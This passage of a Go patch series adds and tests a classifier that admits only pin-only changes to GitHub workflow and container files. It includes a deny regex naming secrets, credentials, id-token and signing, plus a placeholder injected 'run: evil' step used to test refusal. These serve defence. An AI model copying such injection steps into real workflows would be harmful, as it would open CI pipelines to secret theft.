wantComplete: false}, + } { + t.Run(tc.name, func(t *testing.T) { + pages := 0 + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + pages++ + if tc.endless || pages == 1 { + w.Header().Set("Link", `; rel="next"`) + } + json.NewEncoder(w).Encode([]any{map[string]any{"sha": "sha-" + strconv.Itoa(pages)}, nil}) + })) + defer server.Close() + c := NewClientForTest(server.URL, "acme", []string{"widget"}, nil) + got, complete, err := ListPRRepositoryCommits(context.Background(), c.client, "acme", "widget", 7) + if err != nil { + t.Fatalf("ListPRRepositoryCommits: %v", err) + } + if pages != tc.wantPages || len(got) != tc.wantPages || complete != tc.wantComplete { + t.Fatalf("pages=%d commits=%d complete=%v, want %d pages, nils dropped, complete=%v", pages, len(got), complete, tc.wantPages, tc.wantComplete) + } + }) + } +} + func TestListPRCommitsNilClientAndAPIError(t *testing.T) { var nilClient *Client if _, err := nilClient.ListPRCommits(context.Background(), "widget", 7); err == nil { diff --git a/src/pkg/intent/pin_only.go b/src/pkg/intent/pin_only.go index a9cb8c1d0c..bf4bf2cca6 100644 --- a/src/pkg/intent/pin_only.go +++ b/src/pkg/intent/pin_only.go @@ -4,6 +4,7 @@ import ( "fmt" "path" "regexp" + "slices" "strconv" "strings" ) @@ -22,6 +23,15 @@ var ( unsafePinRE = regexp.MustCompile(`(?i)(permissions|secrets[.]|\benv\b|\brun:|\bwith:|id-token|cosign|attest|provenance|credential|signing|codeowners)`) ) +// ActionPin is one accepted action-sha replacement: the upstream action +// repository ("owner/repo", without any sub-path), the new 40-hex commit, and +// the trailing version comment ("v4", "v4.1.2"; empty when absent). +type ActionPin struct { + Repo string + SHA string + Version string +} + // ClassifyPinOnly checks the entire supplied diff, not only guarded files: a // mixed PR must not acquire a pin-only exception. Every file must be an existing // modified file in both the actual human-merge matches and the exception paths. @@ -29,11 +39,21 @@ var ( // addition/deletion counts. Deliberately supports only narrow line grammars. // // Callers MUST separately prove a complete file list bound to the current head, -// authenticated trusted authorship, and review of each referenced upstream -// change. A true result proves syntax only, NEVER those facts or merge safety. +// authenticated trusted authorship, and that each new action SHA belongs to +// its upstream repository (ClassifyPinOnlyActions returns them). A true result +// proves syntax only, NEVER those facts or merge safety. func ClassifyPinOnly(files []ChangedFile, matches []string, spec PinOnlySpec) (bool, string) { + ok, why, _ := ClassifyPinOnlyActions(files, matches, spec) + return ok, why +} + +// ClassifyPinOnlyActions is ClassifyPinOnly that also returns, on acceptance, +// the distinct action-sha pins it accepted. GitHub resolves a `uses:` SHA +// across the whole fork network of owner/repo, so the syntax alone does not +// tie the new SHA to the upstream action; the caller resolves each pin. +func ClassifyPinOnlyActions(files []ChangedFile, matches []string, spec PinOnlySpec) (bool, string, []ActionPin) { if len(files) == 0 || len(matches) == 0 || len(spec.Paths) == 0 || len(spec.Kinds) == 0 { - return false, "missing pin-only evidence or policy" + return false, "missing pin-only evidence or policy", nil } kinds := make(map[string]bool) for _, kind := range spec.Kinds { @@ -41,7 +61,7 @@ func ClassifyPinOnly(files []ChangedFile, matches []string, spec PinOnlySpec) (b case "action-sha", "image-digest", "version-pin": kinds[kind] = true default: - return false, "unknown pin kind: " + kind + return false, "unknown pin kind: " + kind, nil } } guarded := make(map[string]bool) @@ -49,31 +69,39 @@ func ClassifyPinOnly(files []ChangedFile, matches []string, spec PinOnlySpec) (b guarded[match] = true } seen := make(map[string]bool) + var pins []ActionPin for _, file := range files { name := file.Filename if name == "" || path.Clean(name) != name || strings.HasPrefix(name, "../") || strings.HasPrefix(name, "/") || seen[name] { - return false, "invalid or duplicate path: " + name + return false, "invalid or duplicate path: " + name, nil } seen[name] = true if !guarded[name] || !PathMatchesAny(name, spec.Paths) { - return false, name + ": outside approved human-merge paths" + return false, name + ": outside approved human-merge paths", nil } if strings.Contains(strings.ToLower(name), "owners") || file.Status != "modified" || file.Patch == "" { - return false, name + ": not an existing modified pin file with a patch" + return false, name + ": not an existing modified pin file with a patch", nil + } + filePins, err := classifyPinPatch(file, kinds) + if err != nil { + return false, name + ": " + err.Error(), nil } - if err := classifyPinPatch(file, kinds); err != nil { - return false, name + ": " + err.Error() + for _, pin := range filePins { + if !slices.Contains(pins, pin) { + pins = append(pins, pin) + } } } for match := range guarded { if !seen[match] { - return false, match + ": missing matched file" + return false, match + ": missing matched file", nil } } - return true, "all changes are approved pin replacements (syntax only)" + return true, "all changes are approved pin replacements (syntax only)", pins } -func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { +func classifyPinPatch(file ChangedFile, kinds map[string]bool) ([]ActionPin, error) { + var pins []ActionPin var removed, added []string oldLeft, newLeft, additions, deletions, hunks := 0, 0, 0, 0, 0 flush := func() error { @@ -81,9 +109,13 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { return fmt.Errorf("unpaired addition/removal") } for i := range removed { - if !pinReplacement(removed[i], added[i], kinds) { + pin, ok := matchPinReplacement(removed[i], added[i], kinds) + if !ok { return fmt.Errorf("non-pin or unsafe replacement") } + if pin != nil { + pins = append(pins, *pin) + } } removed, added = nil, nil return nil @@ -92,30 +124,30 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { for i, line := range lines { if m := pinHunkRE.FindStringSubmatch(line); m != nil { if err := flush(); err != nil { - return err + return nil, err } if oldLeft != 0 || newLeft != 0 { - return fmt.Errorf("incomplete hunk before line %d", i+1) + return nil, fmt.Errorf("incomplete hunk before line %d", i+1) } oldLeft, newLeft = 1, 1 var err error if m[1] != "" { oldLeft, err = strconv.Atoi(m[1]) if err != nil { - return fmt.Errorf("invalid old hunk count") + return nil, fmt.Errorf("invalid old hunk count") } } if m[2] != "" { newLeft, err = strconv.Atoi(m[2]) if err != nil { - return fmt.Errorf("invalid new hunk count") + return nil, fmt.Errorf("invalid new hunk count") } } hunks++ continue } if hunks == 0 { - return fmt.Errorf("invalid patch line %d", i+1) + return nil, fmt.Errorf("invalid patch line %d", i+1) } if line == "" { // GitHub renders blank context lines as "" rather than " ". @@ -124,13 +156,13 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { switch line[0] { case ' ': if err := flush(); err != nil { - return err + return nil, err } oldLeft-- newLeft-- case '-': if len(added) != 0 { - return fmt.Errorf("interleaved replacement") + return nil, fmt.Errorf("interleaved replacement") } removed = append(removed, line[1:]) deletions++ @@ -141,24 +173,31 @@ func classifyPinPatch(file ChangedFile, kinds map[string]bool) error { newLeft-- default: // Even newline/format metadata is outside this bounded grammar. - return fmt.Errorf("unsupported patch line %d", i+1) + return nil, fmt.Errorf("unsupported patch line %d", i+1) } if oldLeft < 0 || newLeft < 0 { - return fmt.Errorf("hunk count exceeded") + return nil, fmt.Errorf("hunk count exceeded") } } if err := flush(); err != nil { - return err + return nil, err } if hunks == 0 || oldLeft != 0 || newLeft != 0 || additions == 0 || additions != file.Additions || deletions != file.Deletions { - return fmt.Errorf("incomplete patch or mismatched changed-line counts") + return nil, fmt.Errorf("incomplete patch or mismatched changed-line counts") } - return nil + return pins, nil } func pinReplacement(old, next string, kinds map[string]bool) bool { + _, ok := matchPinReplacement(old, next, kinds) + return ok +} + +// matchPinReplacement reports whether old -> next is an accepted pin +// replacement and, for an action-sha replacement, the new pin. +func matchPinReplacement(old, next string, kinds map[string]bool) (*ActionPin, bool) { if old == next || unsafePinRE.MatchString(old) || unsafePinRE.MatchString(next) { - return false + return nil, false } for _, kind := range []string{"action-sha", "image-digest", "version-pin"} { if !kinds[kind] { @@ -181,7 +220,7 @@ func pinReplacement(old, next string, kinds map[string]bool) bool { if strings.Contains(a[3], "#") != strings.Contains(b[3], "#") { continue } - return true + return actionPinFrom(b), true } if kind == "version-pin" { // Do not permit quote changes to alter YAML interpretation. @@ -200,8 +239,21 @@ func pinReplacement(old, next string, kinds map[string]bool) bool { } } if a[3] == b[3] { - return true + return nil, true } } - return false + return nil, false +} + +// actionPinFrom builds the pin from an actionPinRE match of the new line. +func actionPinFrom(m []string) *ActionPin { + ref := strings.TrimSpace(m[1]) + ref = strings.TrimPrefix(ref, "- ") + ref = strings.TrimSuffix(strings.TrimPrefix(ref, "uses: "), "@") + parts := strings.SplitN(ref, "/", 3) + return &ActionPin{ + Repo: parts[0] + "/" + parts[1], + SHA: strings.ToLower(m[2]), + Version: strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(m[3]), "#")), + } } diff --git a/src/pkg/intent/pin_only_test.go b/src/pkg/intent/pin_only_test.go index 68a883bfdc..f826c2aa39 100644 --- a/src/pkg/intent/pin_only_test.go +++ b/src/pkg/intent/pin_only_test.go @@ -1,6 +1,7 @@ package intent import ( + "slices" "strings" "testing" ) @@ -117,3 +118,37 @@ func TestPinReplacementNarrowGrammar(t *testing.T) { } } } + +func TestClassifyPinOnlyActionsReturnsAcceptedPins(t *testing.T) { + sha := func(c string) string { return strings.Repeat(c, 40) } + spec := PinOnlySpec{Paths: []string{".github/workflows/*.yml", "Containerfile"}, Kinds: []string{"action-sha", "image-digest"}} + workflow := ChangedFile{Filename: ".github/workflows/build.yml", Status: "modified", Additions: 3, Deletions: 3, Patch: "@@ -1,4 +1,4 @@\n" + + "- - uses: actions/checkout@" + sha("a") + " # v4\n" + + "+ - uses: actions/checkout@" + strings.ToUpper(sha("b")) + " # v4.2.1\n" + + " context\n" + + "- uses: github/codeql-action/init@" + sha("c") + "\n" + + "+ uses: github/codeql-action/init@" + sha("d") + "\n" + + "- - uses: actions/checkout@" + sha("a") + " # v4\n" + + "+ - uses: actions/checkout@" + sha("b") + " # v4.2.1"} + image := ChangedFile{Filename: "Containerfile", Status: "modified", Additions: 1, Deletions: 1, + Patch: "@@ -1 +1 @@\n-FROM ghcr.io/org/image@sha256:" + strings.Repeat("a", 64) + "\n+FROM ghcr.io/org/image@sha256:" + strings.Repeat("b", 64)} + ok, why, pins := ClassifyPinOnlyActions([]ChangedFile{workflow, image}, []string{workflow.Filename, image.Filename}, spec) + if !ok { + t.Fatalf("refused: %s", why) + } + want := []ActionPin{ + {Repo: "actions/checkout", SHA: sha("b"), Version: "v4.2.1"}, + {Repo: "github/codeql-action", SHA: sha("d")}, + } + if !slices.Equal(pins, want) { + t.Fatalf("pins = %+v, want %+v", pins, want) + } + if ok, _, pins := ClassifyPinOnlyActions([]ChangedFile{image}, []string{image.Filename}, spec); !ok || len(pins) != 0 { + t.Fatalf("image-only diff: ok=%v pins=%+v, want accepted with no action pins", ok, pins) + } + workflow.Patch += "\n+ - run: evil" + workflow.Additions++ + if ok, _, pins := ClassifyPinOnlyActions([]ChangedFile{workflow}, []string{workflow.Filename}, spec); ok || pins != nil { + t.Fatalf("refused diff: ok=%v pins=%+v, want no pins", ok, pins) + } +} From f0db2a3d5ae6c369c386d6497f02402abb19f096 Mon Sep 17 00:00:00 2001 From: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 11:26:12 -0500 Subject: [PATCH 2/2] =?UTF-8?q?=F0=9F=A7=AA=20test(intent):=20separate=20p?= =?UTF-8?q?in-replacement=20pairs=20with=20context=20in=20accepted-pins=20?= =?UTF-8?q?fixture?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The fixture placed two -/+ pairs back-to-back, which the bounded pin grammar correctly refuses as an interleaved replacement. Insert a context line between the pairs and widen the hunk header to 5/5 so the fixture exercises the dedup path it was written for. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- src/pkg/intent/pin_only_test.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/pkg/intent/pin_only_test.go b/src/pkg/intent/pin_only_test.go index f826c2aa39..8a740a4b64 100644 --- a/src/pkg/intent/pin_only_test.go +++ b/src/pkg/intent/pin_only_test.go @@ -122,12 +122,13 @@ func TestPinReplacementNarrowGrammar(t *testing.T) { func TestClassifyPinOnlyActionsReturnsAcceptedPins(t *testing.T) { sha := func(c string) string { return strings.Repeat(c, 40) } spec := PinOnlySpec{Paths: []string{".github/workflows/*.yml", "Containerfile"}, Kinds: []string{"action-sha", "image-digest"}} - workflow := ChangedFile{Filename: ".github/workflows/build.yml", Status: "modified", Additions: 3, Deletions: 3, Patch: "@@ -1,4 +1,4 @@\n" + + workflow := ChangedFile{Filename: ".github/workflows/build.yml", Status: "modified", Additions: 3, Deletions: 3, Patch: "@@ -1,5 +1,5 @@\n" + "- - uses: actions/checkout@" + sha("a") + " # v4\n" + "+ - uses: actions/checkout@" + strings.ToUpper(sha("b")) + " # v4.2.1\n" + " context\n" + "- uses: github/codeql-action/init@" + sha("c") + "\n" + "+ uses: github/codeql-action/init@" + sha("d") + "\n" + + " more context\n" + "- - uses: actions/checkout@" + sha("a") + " # v4\n" + "+ - uses: actions/checkout@" + sha("b") + " # v4.2.1"} image := ChangedFile{Filename: "Containerfile", Status: "modified", Additions: 1, Deletions: 1,